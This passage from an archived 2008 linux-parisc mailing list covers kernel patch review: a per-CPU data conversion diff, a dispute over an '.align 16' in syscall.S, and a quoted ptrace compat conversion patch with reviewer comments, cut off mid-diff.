 volatile struct task_struct *smp_init_current_idle_task;
 
-static volatile int cpu_now_booting __read_mostly = 0;	/* track which CPU is booting */
+/* track which CPU is booting */
+static volatile int cpu_now_booting __cpuinitdata;
 
-static int parisc_max_cpus __read_mostly = 1;
+static int parisc_max_cpus __cpuinitdata = 1;
 
 /* online cpus are ones that we've managed to bring up completely
  * possible cpus are all valid cpu 
@@ -138,7 +139,7 @@ irqreturn_t
 ipi_interrupt(int irq, void *dev_id) 
 {
 	int this_cpu = smp_processor_id();
-	struct cpuinfo_parisc *p = &cpu_data[this_cpu];
+	struct cpuinfo_parisc *p = &per_cpu(cpu_data, this_cpu);
 	unsigned long ops;
 	unsigned long flags;
 
@@ -217,13 +218,13 @@ ipi_interrupt(int irq, void *dev_id)
 static inline void
 ipi_send(int cpu, enum ipi_message_type op)
 {
-	struct cpuinfo_parisc *p = &cpu_data[cpu];
+	struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpu);
 	spinlock_t *lock = &per_cpu(ipi_lock, cpu);
 	unsigned long flags;
 
 	spin_lock_irqsave(lock, flags);
 	p->pending_ipi |= 1 << op;
-	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, cpu_data[cpu].hpa);
+	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, p->hpa);
 	spin_unlock_irqrestore(lock, flags);
 }
 
@@ -239,10 +240,7 @@ send_IPI_mask(cpumask_t mask, enum ipi_message_type op)
 static inline void
 send_IPI_single(int dest_cpu, enum ipi_message_type op)
 {
-	if (dest_cpu == NO_PROC_ID) {
-		BUG();
-		return;
-	}
+	BUG_ON(dest_cpu == NO_PROC_ID);
 
 	ipi_send(dest_cpu, op);
 }
@@ -324,8 +322,7 @@ smp_cpu_init(int cpunum)
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
 	current->active_mm = &init_mm;
-	if(current->mm)
-		BUG();
+	BUG_ON(current->mm);
 	enter_lazy_tlb(&init_mm, current);
 
 	init_IRQ();   /* make sure no IRQs are enabled or pending */
@@ -360,6 +357,7 @@ void __init smp_callin(void)
  */
 int __cpuinit smp_boot_one_cpu(int cpuid)
 {
+	const struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpuid);
 	struct task_struct *idle;
 	long timeout;
 
@@ -391,7 +389,7 @@ int __cpuinit smp_boot_one_cpu(int cpuid)
 	smp_init_current_idle_task = idle ;
 	mb();
 
-	printk("Releasing cpu %d now, hpa=%lx\n", cpuid, cpu_data[cpuid].hpa);
+	printk(KERN_INFO "Releasing cpu %d now, hpa=%lx\n", cpuid, p->hpa);
 
 	/*
 	** This gets PDC to release the CPU from a very tight loop.
@@ -402,7 +400,7 @@ int __cpuinit smp_boot_one_cpu(int cpuid)
 	** EIR{0}). MEM_RENDEZ is valid only when it is nonzero and the 
 	** contents of memory are valid."
 	*/
-	gsc_writel(TIMER_IRQ - CPU_IRQ_BASE, cpu_data[cpuid].hpa);
+	gsc_writel(TIMER_IRQ - CPU_IRQ_BASE, p->hpa);
 	mb();
 
 	/* 
@@ -434,12 +432,12 @@ alive:
 	return 0;
 }
 
-void __devinit smp_prepare_boot_cpu(void)
+void __init smp_prepare_boot_cpu(void)
 {
-	int bootstrap_processor=cpu_data[0].cpuid;	/* CPU ID of BSP */
+	int bootstrap_processor = per_cpu(cpu_data, 0).cpuid;
 
 	/* Setup BSP mappings */
-	printk("SMP: bootstrap CPU ID is %d\n",bootstrap_processor);
+	printk(KERN_INFO "SMP: bootstrap CPU ID is %d\n", bootstrap_processor);
 
 	cpu_set(bootstrap_processor, cpu_online_map);
 	cpu_set(bootstrap_processor, cpu_present_map);
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 24be86b..9db61b4 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -59,7 +59,7 @@ irqreturn_t timer_interrupt(int irq, void *dev_id)
 	unsigned long cycles_elapsed, ticks_elapsed;
 	unsigned long cycles_remainder;
 	unsigned int cpu = smp_processor_id();
-	struct cpuinfo_parisc *cpuinfo = &cpu_data[cpu];
+	struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
 
 	/* gcc can optimize for "read-only" case with a local clocktick */
 	unsigned long cpt = clocktick;
@@ -212,7 +212,7 @@ void __init start_cpu_itimer(void)
 
 	mtctl(next_tick, 16);		/* kick off Interval Timer (CR16) */
 
-	cpu_data[cpu].it_value = next_tick;
+	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
 void __init time_init(void)
diff --git a/arch/parisc/kernel/topology.c b/arch/parisc/kernel/topology.c
index d71cb01..f515938 100644
--- a/arch/parisc/kernel/topology.c
+++ b/arch/parisc/kernel/topology.c
@@ -22,14 +22,14 @@
 #include <linux/cpu.h>
 #include <linux/cache.h>
 
-static struct cpu cpu_devices[NR_CPUS] __read_mostly;
+static DEFINE_PER_CPU(struct cpu, cpu_devices);
 
 static int __init topology_init(void)
 {
 	int num;
 
 	for_each_present_cpu(num) {
-		register_cpu(&cpu_devices[num], num);
+		register_cpu(&per_cpu(cpu_devices, num), num);
 	}
 	return 0;
 }

--------------090901030001030601070502--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Mon, 25 Aug 2008 14:31:40 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <48B2A62C.2060001@gmx.de>
References: <200808242026.06295.deller@gmx.de>	 <200808242051.12202.deller@gmx.de> <1219604258.4550.3.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219667518 19634 80.91.229.12 (25 Aug 2008 12:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Aug 2008 12:31:58 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 25 14:32:50 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXbFU-00009A-JW
	for glpp-linux-parisc@gmane.org; Mon, 25 Aug 2008 14:32:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753144AbYHYMbo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Aug 2008 08:31:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753467AbYHYMbo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 25 Aug 2008 08:31:44 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:52213 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753144AbYHYMbo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Aug 2008 08:31:44 -0400
Original-Received: (qmail invoked by alias); 25 Aug 2008 12:31:42 -0000
Original-Received: from mnhm-590f6793.pool.einsundeins.de (EHLO halden.box) [89.15.103.147]
  by mail.gmx.net (mp065) with SMTP; 25 Aug 2008 14:31:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/T12gEZW7TY4S2RAlBHdNNfX/YFTQabHexVYSyFn
	GxEDPeqzin6cSg
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <1219604258.4550.3.camel@localhost.localdomain>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.54
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:667
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/667>

James Bottomley wrote:
> On Sun, 2008-08-24 at 20:51 +0200, Helge Deller wrote:
>> This .align 16 is misplaced and should be in front of the ENTRY(lws_lock_start).
>> Works because of pure luck since we have a .align PAGE_SIZE before it instead.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
>> index 69b6eeb..c6ff81f 100644
>> --- a/arch/parisc/kernel/syscall.S
>> +++ b/arch/parisc/kernel/syscall.S
>> @@ -640,7 +640,6 @@ END(sys_call_table64)
>>  	.align	PAGE_SIZE
>>  ENTRY(lws_lock_start)
>>  	/* lws locks */
>> -	.align 16
>>  	.rept 16
>>  	/* Keep locks aligned at 16-bytes */
>>  	.word 1
> 
> I think I'd really rather keep this.  It may be technically superfluous
> because of the .align PAGE_SIZE above it, but that belongs to the
> syscall table.  

> If anyone ever moved this section in head.S, the align
> 16 ensures nothing goes wrong.

Hi James,

If the block is moved, then that's exactly what this .align does not 
ensure.
We had this discussion already here on the list. Please read the full 
thread: http://marc.info/?t=121554765000005&r=1&w=2

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] compat_sys_ptrace conversions for parisc
Date: Mon, 25 Aug 2008 18:52:31 +0200
Lines: 543
Approved: news@gmane.org
Message-ID: <20080825165231.GA13428@lst.de>
References: <200808242026.06295.deller@gmx.de> <200808242033.25481.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219683295 27209 80.91.229.12 (25 Aug 2008 16:54:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Aug 2008 16:54:55 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Roland McGrath <roland@redhat.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 25 18:55:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXfKB-0003nn-1j
	for glpp-linux-parisc@gmane.org; Mon, 25 Aug 2008 18:53:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754061AbYHYQwu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Aug 2008 12:52:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754135AbYHYQwu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 25 Aug 2008 12:52:50 -0400
Original-Received: from verein.lst.de ([213.95.11.210]:44656 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754061AbYHYQwt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Aug 2008 12:52:49 -0400
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id m7PGqWIF013741
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Mon, 25 Aug 2008 18:52:32 +0200
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id m7PGqVrq013739;
	Mon, 25 Aug 2008 18:52:31 +0200
Content-Disposition: inline
In-Reply-To: <200808242033.25481.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Spam-Score: 0 () 
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:668
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/668>

This should probably get a little review from Rland, I've added him to
the Cc list.  Although I suspect splitting this into at least two
patches for compat_sys_ptrace vs the rest might make sense.

On Sun, Aug 24, 2008 at 08:33:25PM +0200, Helge Deller wrote:
> This patch does the compat_sys_ptrace conversion for parisc.
> In addition it does convert the parisc ptrace code to use the
> architecture-independent ptrace infrastructure instead of own coding.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/include/asm/ptrace.h b/arch/parisc/include/asm/ptrace.h
> index 3e94c5d..afa5333 100644
> --- a/arch/parisc/include/asm/ptrace.h
> +++ b/arch/parisc/include/asm/ptrace.h
> @@ -47,6 +47,16 @@ struct pt_regs {
>  
>  #define task_regs(task) ((struct pt_regs *) ((char *)(task) + TASK_REGS))
>  
> +#define __ARCH_WANT_COMPAT_SYS_PTRACE
> +
> +struct task_struct;
> +#define arch_has_single_step()	1
> +void user_disable_single_step(struct task_struct *task);
> +void user_enable_single_step(struct task_struct *task);
> +
> +#define arch_has_block_step()	1
> +void user_enable_block_step(struct task_struct *task);
> +
>  /* XXX should we use iaoq[1] or iaoq[0] ? */
>  #define user_mode(regs)			(((regs)->iaoq[0] & 3) ? 1 : 0)
>  #define user_space(regs)		(((regs)->iasq[1] != 0) ? 1 : 0)
> diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
> index 49c6379..90904f9 100644
> --- a/arch/parisc/kernel/ptrace.c
> +++ b/arch/parisc/kernel/ptrace.c
> @@ -4,6 +4,7 @@
>   * Copyright (C) 2000 Hewlett-Packard Co, Linuxcare Inc.
>   * Copyright (C) 2000 Matthew Wilcox <matthew@wil.cx>
>   * Copyright (C) 2000 David Huggins-Daines <dhd@debian.org>
> + * Copyright (C) 2008 Helge Deller <deller@gmx.de>
>   */
>  
>  #include <linux/kernel.h>
> @@ -27,15 +28,149 @@
>  /* PSW bits we allow the debugger to modify */
>  #define USER_PSW_BITS	(PSW_N | PSW_V | PSW_CB)
>  
> -#undef DEBUG_PTRACE
> +/*
> + * Called by kernel/ptrace.c when detaching..
> + *
> + * Make sure single step bits etc are not set.
> + */
> +void ptrace_disable(struct task_struct *task)
> +{
> +	task->ptrace &= ~(PT_SINGLESTEP|PT_BLOCKSTEP);
>  
> -#ifdef DEBUG_PTRACE
> -#define DBG(x...)	printk(x)
> -#else
> -#define DBG(x...)
> -#endif
> +	/* make sure the trap bits are not set */
> +	pa_psw(task)->r = 0;
> +	pa_psw(task)->t = 0;
> +	pa_psw(task)->h = 0;
> +	pa_psw(task)->l = 0;
> +}
> +
> +/*
> + * The following functions are called by ptrace_resume() when
> + * enabling or disabling single/block tracing.
> + */
> +void user_disable_single_step(struct task_struct *task)
> +{
> +	ptrace_disable(task);
> +}
> +
> +void user_enable_single_step(struct task_struct *task)
> +{
> +	task->ptrace &= ~PT_BLOCKSTEP;
> +	task->ptrace |= PT_SINGLESTEP;
> +
> +	if (pa_psw(task)->n) {
> +		struct siginfo si;
> +
> +		/* Nullified, just crank over the queue. */
> +		task_regs(task)->iaoq[0] = task_regs(task)->iaoq[1];
> +		task_regs(task)->iasq[0] = task_regs(task)->iasq[1];
> +		task_regs(task)->iaoq[1] = task_regs(task)->iaoq[0] + 4;
> +		pa_psw(task)->n = 0;
> +		pa_psw(task)->x = 0;
> +		pa_psw(task)->y = 0;
> +		pa_psw(task)->z = 0;
> +		pa_psw(task)->b = 0;
> +		ptrace_disable(task);
> +		/* Don't wake up the task, but let the
> +		   parent know something happened. */
> +		si.si_code = TRAP_TRACE;
> +		si.si_addr = (void __user *) (task_regs(task)->iaoq[0] & ~3);
> +		si.si_signo = SIGTRAP;
> +		si.si_errno = 0;
> +		force_sig_info(SIGTRAP, &si, task);
> +		/* notify_parent(task, SIGCHLD); */
> +		return;
> +	}
> +
> +	/* Enable recovery counter traps.  The recovery counter
> +	 * itself will be set to zero on a task switch.  If the
> +	 * task is suspended on a syscall then the syscall return
> +	 * path will overwrite the recovery counter with a suitable
> +	 * value such that it traps once back in user space.  We
> +	 * disable interrupts in the tasks PSW here also, to avoid
> +	 * interrupts while the recovery counter is decrementing.
> +	 */
> +	pa_psw(task)->r = 1;
> +	pa_psw(task)->t = 0;
> +	pa_psw(task)->h = 0;
> +	pa_psw(task)->l = 0;
> +}
> +
> +void user_enable_block_step(struct task_struct *task)
> +{
> +	task->ptrace &= ~PT_SINGLESTEP;
> +	task->ptrace |= PT_BLOCKSTEP;
> +
> +	/* Enable taken branch trap. */
> +	pa_psw(task)->r = 0;
> +	pa_psw(task)->t = 1;
> +	pa_psw(task)->h = 0;
> +	pa_psw(task)->l = 0;
> +}
> +
> +long arch_ptrace(struct task_struct *child, long request, long addr, long data)
> +{
> +	unsigned long tmp;
> +	long ret = -EIO;
>  
> -#ifdef CONFIG_64BIT
> +	switch (request) {
> +
> +	/* Read the word at location addr in the USER area.  For ptraced
> +	   processes, the kernel saves all regs on a syscall. */
> +	case PTRACE_PEEKUSR:
> +		if ((addr & (sizeof(long)-1)) ||
> +		    (unsigned long) addr >= sizeof(struct pt_regs))
> +			break;
> +		tmp = *(unsigned long *) ((char *) task_regs(child) + addr);
> +		ret = put_user(tmp, (unsigned long *) data);
> +		break;
> +
> +	/* Write the word at location addr in the USER area.  This will need
> +	   to change when the kernel no longer saves all regs on a syscall.
> +	   FIXME.  There is a problem at the moment in that r3-r18 are only
> +	   saved if the process is ptraced on syscall entry, and even then
> +	   those values are overwritten by actual register values on syscall
> +	   exit. */
> +	case PTRACE_POKEUSR:
> +		/* Some register values written here may be ignored in
> +		 * entry.S:syscall_restore_rfi; e.g. iaoq is written with
> +		 * r31/r31+4, and not with the values in pt_regs.
> +		 */
> +		if (addr == PT_PSW) {
> +			/* Allow writing to Nullify, Divide-step-correction,
> +			 * and carry/borrow bits.
> +			 * BEWARE, if you set N, and then single step, it won't
> +			 * stop on the nullified instruction.
> +			 */
> +			data &= USER_PSW_BITS;
> +			task_regs(child)->gr[0] &= ~USER_PSW_BITS;
> +			task_regs(child)->gr[0] |= data;
> +			ret = 0;
> +			break;
> +		}
> +
> +		if ((addr & (sizeof(long)-1)) ||
> +		    (unsigned long) addr >= sizeof(struct pt_regs))
> +			break;
> +		if ((addr >= PT_GR1 && addr <= PT_GR31) ||
> +				addr == PT_IAOQ0 || addr == PT_IAOQ1 ||
> +				(addr >= PT_FR0 && addr <= PT_FR31 + 4) ||
> +				addr == PT_SAR) {
> +			*(unsigned long *) ((char *) task_regs(child) + addr) = data;
> +			ret = 0;
> +		}
> +		break;
> +
> +	default:
> +		ret = ptrace_request(child, request, addr, data);
> +		break;
> +	}
> +
> +	return ret;
> +}
> +
> +
> +#ifdef CONFIG_COMPAT
>  
>  /* This function is needed to translate 32 bit pt_regs offsets in to
>   * 64 bit pt_regs offsets.  For example, a 32 bit gdb under a 64 bit kernel
> @@ -61,106 +196,25 @@ static long translate_usr_offset(long offset)
>  	else
>  		return -1;
>  }
> -#endif
>  
> -/*
> - * Called by kernel/ptrace.c when detaching..
> - *
> - * Make sure single step bits etc are not set.
> - */
> -void ptrace_disable(struct task_struct *child)
> +long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
> +			compat_ulong_t addr, compat_ulong_t data)
>  {
> -	/* make sure the trap bits are not set */
> -	pa_psw(child)->r = 0;
> -	pa_psw(child)->t = 0;
> -	pa_psw(child)->h = 0;
> -	pa_psw(child)->l = 0;
> -}
> -
> -long arch_ptrace(struct task_struct *child, long request, long addr, long data)
> -{
> -	long ret;
> -#ifdef DEBUG_PTRACE
> -	long oaddr=addr, odata=data;
> -#endif
> +	compat_uint_t tmp;
> +	long ret = -EIO;
>  
>  	switch (request) {
> -	case PTRACE_PEEKTEXT: /* read word at location addr. */ 
> -	case PTRACE_PEEKDATA: {
> -#ifdef CONFIG_64BIT
> -		if (__is_compat_task(child)) {
> -			int copied;
> -			unsigned int tmp;
> -
> -			addr &= 0xffffffffL;
> -			copied = access_process_vm(child, addr, &tmp, sizeof(tmp), 0);
> -			ret = -EIO;
> -			if (copied != sizeof(tmp))
> -				goto out_tsk;
> -			ret = put_user(tmp,(unsigned int *) data);
> -			DBG("sys_ptrace(PEEK%s, %d, %lx, %lx) returning %ld, data %x\n",
> -				request == PTRACE_PEEKTEXT ? "TEXT" : "DATA",
> -				pid, oaddr, odata, ret, tmp);
> -		}
> -		else
> -#endif
> -			ret = generic_ptrace_peekdata(child, addr, data);
> -		goto out_tsk;
> -	}
>  
> -	/* when I and D space are separate, this will have to be fixed. */
> -	case PTRACE_POKETEXT: /* write the word at location addr. */
> -	case PTRACE_POKEDATA:
> -		ret = 0;
> -#ifdef CONFIG_64BIT
> -		if (__is_compat_task(child)) {
> -			unsigned int tmp = (unsigned int)data;
> -			DBG("sys_ptrace(POKE%s, %d, %lx, %lx)\n",
> -				request == PTRACE_POKETEXT ? "TEXT" : "DATA",
> -				pid, oaddr, odata);
> -			addr &= 0xffffffffL;
> -			if (access_process_vm(child, addr, &tmp, sizeof(tmp), 1) == sizeof(tmp))
> -				goto out_tsk;
> -		}
> -		else
> -#endif
> -		{
> -			if (access_process_vm(child, addr, &data, sizeof(data), 1) == sizeof(data))
> -				goto out_tsk;
> -		}
> -		ret = -EIO;
> -		goto out_tsk;
> -
> -	/* Read the word at location addr in the USER area.  For ptraced
> -	   processes, the kernel saves all regs on a syscall. */
> -	case PTRACE_PEEKUSR: {
> -		ret = -EIO;
> -#ifdef CONFIG_64BIT
> -		if (__is_compat_task(child)) {
> -			unsigned int tmp;
> -
> -			if (addr & (sizeof(int)-1))
> -				goto out_tsk;
> -			if ((addr = translate_usr_offset(addr)) < 0)
> -				goto out_tsk;
> -
> -			tmp = *(unsigned int *) ((char *) task_regs(child) + addr);
> -			ret = put_user(tmp, (unsigned int *) data);
> -			DBG("sys_ptrace(PEEKUSR, %d, %lx, %lx) returning %ld, addr %lx, data %x\n",
> -				pid, oaddr, odata, ret, addr, tmp);
> -		}
> -		else
> -#endif
> -		{
> -			unsigned long tmp;
> +	case PTRACE_PEEKUSR:
> +		if (addr & (sizeof(compat_uint_t)-1))
> +			break;
> +		addr = translate_usr_offset(addr);
> +		if (addr < 0)
> +			break;
>  
> -			if ((addr & (sizeof(long)-1)) || (unsigned long) addr >= sizeof(struct pt_regs))
> -				goto out_tsk;
> -			tmp = *(unsigned long *) ((char *) task_regs(child) + addr);
> -			ret = put_user(tmp, (unsigned long *) data);
> -		}
> -		goto out_tsk;
> -	}
> +		tmp = *(compat_uint_t *) ((char *) task_regs(child) + addr);
> +		ret = put_user(tmp, (compat_uint_t *) (unsigned long) data);
> +		break;
>  
>  	/* Write the word at location addr in the USER area.  This will need
>  	   to change when the kernel no longer saves all regs on a syscall.
> @@ -169,185 +223,46 @@ long arch_ptrace(struct task_struct *child, long request, long addr, long data)
>  	   those values are overwritten by actual register values on syscall
>  	   exit. */
>  	case PTRACE_POKEUSR:
> -		ret = -EIO;
>  		/* Some register values written here may be ignored in
>  		 * entry.S:syscall_restore_rfi; e.g. iaoq is written with
>  		 * r31/r31+4, and not with the values in pt_regs.
>  		 */
> -		 /* PT_PSW=0, so this is valid for 32 bit processes under 64
> -		 * bit kernels.
> -		 */
>  		if (addr == PT_PSW) {
> -			/* PT_PSW=0, so this is valid for 32 bit processes
> -			 * under 64 bit kernels.
> -			 *
> -			 * Allow writing to Nullify, Divide-step-correction,
> -			 * and carry/borrow bits.
> -			 * BEWARE, if you set N, and then single step, it won't
> -			 * stop on the nullified instruction.
> +			/* Since PT_PSW==0, it is valid for 32 bit processes
> +			 * under 64 bit kernels as well.
>  			 */
> -			DBG("sys_ptrace(POKEUSR, %d, %lx, %lx)\n",
> -				pid, oaddr, odata);
> -			data &= USER_PSW_BITS;
> -			task_regs(child)->gr[0] &= ~USER_PSW_BITS;
> -			task_regs(child)->gr[0] |= data;
> -			ret = 0;
> -			goto out_tsk;
> -		}
> -#ifdef CONFIG_64BIT
> -		if (__is_compat_task(child)) {
> -			if (addr & (sizeof(int)-1))
> -				goto out_tsk;
> -			if ((addr = translate_usr_offset(addr)) < 0)
> -				goto out_tsk;
> -			DBG("sys_ptrace(POKEUSR, %d, %lx, %lx) addr %lx\n",
> -				pid, oaddr, odata, addr);
> +			ret = arch_ptrace(child, request, addr, data);
> +		} else {
> +			if (addr & (sizeof(compat_uint_t)-1))
> +				break;
> +			addr = translate_usr_offset(addr);
> +			if (addr < 0)
> +				break;
>  			if (addr >= PT_FR0 && addr <= PT_FR31 + 4) {
>  				/* Special case, fp regs are 64 bits anyway */
> -				*(unsigned int *) ((char *) task_regs(child) + addr) = data;
> +				*(__u64 *) ((char *) task_regs(child) + addr) = data;
>  				ret = 0;
>  			}
>  			else if ((addr >= PT_GR1+4 && addr <= PT_GR31+4) ||
>  					addr == PT_IAOQ0+4 || addr == PT_IAOQ1+4 ||
>  					addr == PT_SAR+4) {
>  				/* Zero the top 32 bits */
> -				*(unsigned int *) ((char *) task_regs(child) + addr - 4) = 0;
> -				*(unsigned int *) ((char *) task_regs(child) + addr) = data;
> +				*(__u32 *) ((char *) task_regs(child) + addr - 4) = 0;
> +				*(__u32 *) ((char *) task_regs(child) + addr) = data;
>  				ret = 0;
>  			}
> -			goto out_tsk;
>  		}
> -		else
> -#endif
> -		{
> -			if ((addr & (sizeof(long)-1)) || (unsigned long) addr >= sizeof(struct pt_regs))
> -				goto out_tsk;
> -			if ((addr >= PT_GR1 && addr <= PT_GR31) ||
> -					addr == PT_IAOQ0 || addr == PT_IAOQ1 ||
> -					(addr >= PT_FR0 && addr <= PT_FR31 + 4) ||
> -					addr == PT_SAR) {
> -				*(unsigned long *) ((char *) task_regs(child) + addr) = data;
> -				ret = 0;
> -			}
> -			goto out_tsk;
> -		}
> -
> -	case PTRACE_SYSCALL: /* continue and stop at next (return from) syscall */
> -	case PTRACE_CONT:
> -		ret = -EIO;
> -		DBG("sys_ptrace(%s)\n",
> -			request == PTRACE_SYSCALL ? "SYSCALL" : "CONT");
> -		if (!valid_signal(data))
> -			goto out_tsk;
> -		child->ptrace &= ~(PT_SINGLESTEP|PT_BLOCKSTEP);
> -		if (request == PTRACE_SYSCALL) {
> -			set_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
> -		} else {
> -			clear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
> -		}		
> -		child->exit_code = data;
> -		goto out_wake_notrap;
> -
> -	case PTRACE_KILL:
> -		/*
> -		 * make the child exit.  Best I can do is send it a
> -		 * sigkill.  perhaps it should be put in the status
> -		 * that it wants to exit.
> -		 */
> -		ret = 0;
> -		DBG("sys_ptrace(KILL)\n");
> -		if (child->exit_state == EXIT_ZOMBIE)	/* already dead */
> -			goto out_tsk;
> -		child->exit_code = SIGKILL;
> -		goto out_wake_notrap;
> -
> -	case PTRACE_SINGLEBLOCK:
> -		DBG("sys_ptrace(SINGLEBLOCK)\n");
> -		ret = -EIO;
> -		if (!valid_signal(data))
> -			goto out_tsk;
> -		clear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
> -		child->ptrace &= ~PT_SINGLESTEP;
> -		child->ptrace |= PT_BLOCKSTEP;
> -		child->exit_code = data;
> -
> -		/* Enable taken branch trap. */
> -		pa_psw(child)->r = 0;
> -		pa_psw(child)->t = 1;
> -		pa_psw(child)->h = 0;
> -		pa_psw(child)->l = 0;
> -		goto out_wake;
> -
> -	case PTRACE_SINGLESTEP:
> -		DBG("sys_ptrace(SINGLESTEP)\n");
> -		ret = -EIO;
> -		if (!valid_signal(data))
> -			goto out_tsk;
> -
> -		clear_tsk_thread_flag(child, TIF_SYSCALL_TRACE);
> -		child->ptrace &= ~PT_BLOCKSTEP;
> -		child->ptrace |= PT_SINGLESTEP;
> -		child->exit_code = data;
> -
> -		if (pa_psw(child)->n) {
> -			struct siginfo si;
> -
> -			/* Nullified, just crank over the queue. */
> -			task_regs(child)->iaoq[0] = task_regs(child)->iaoq[1];
> -			task_regs(child)->iasq[0] = task_regs(child)->iasq[1];
> -			task_regs(child)->iaoq[1] = task_regs(child)->iaoq[0] + 4;
> -			pa_psw(child)->n = 0;
> -			pa_psw(child)->x = 0;
> -			pa_psw(child)->y = 0;
> -			pa_psw(child)->z = 0;
> -			pa_psw(child)->b = 0;
> -			ptrace_disable(child);
> -			/* Don't wake up the child, but let the
> -			   parent know something happened. */
> -			si.si_code = TRAP_TRACE;
> -			si.si_addr = (void __user *) (task_regs(child)->iaoq[0] & ~3);
> -			si.si_signo = SIGTRAP;
> -			si.si_errno = 0;
> -			force_sig_info(SIGTRAP, &si, child);
> -			//notify_parent(child, SIGCHLD);
> -			//ret = 0;
> -			goto out_wake;
> -		}
> -
> -		/* Enable recovery counter traps.  The recovery counter
> -		 * itself will be set to zero on a task switch.  If the
> -		 * task is suspended on a syscall then the syscall return
> -		 * path will overwrite the recovery counter with a suitable
> -		 * value such that it traps once back in user space.  We
> -		 * disable interrupts in the childs PSW here also, to avoid
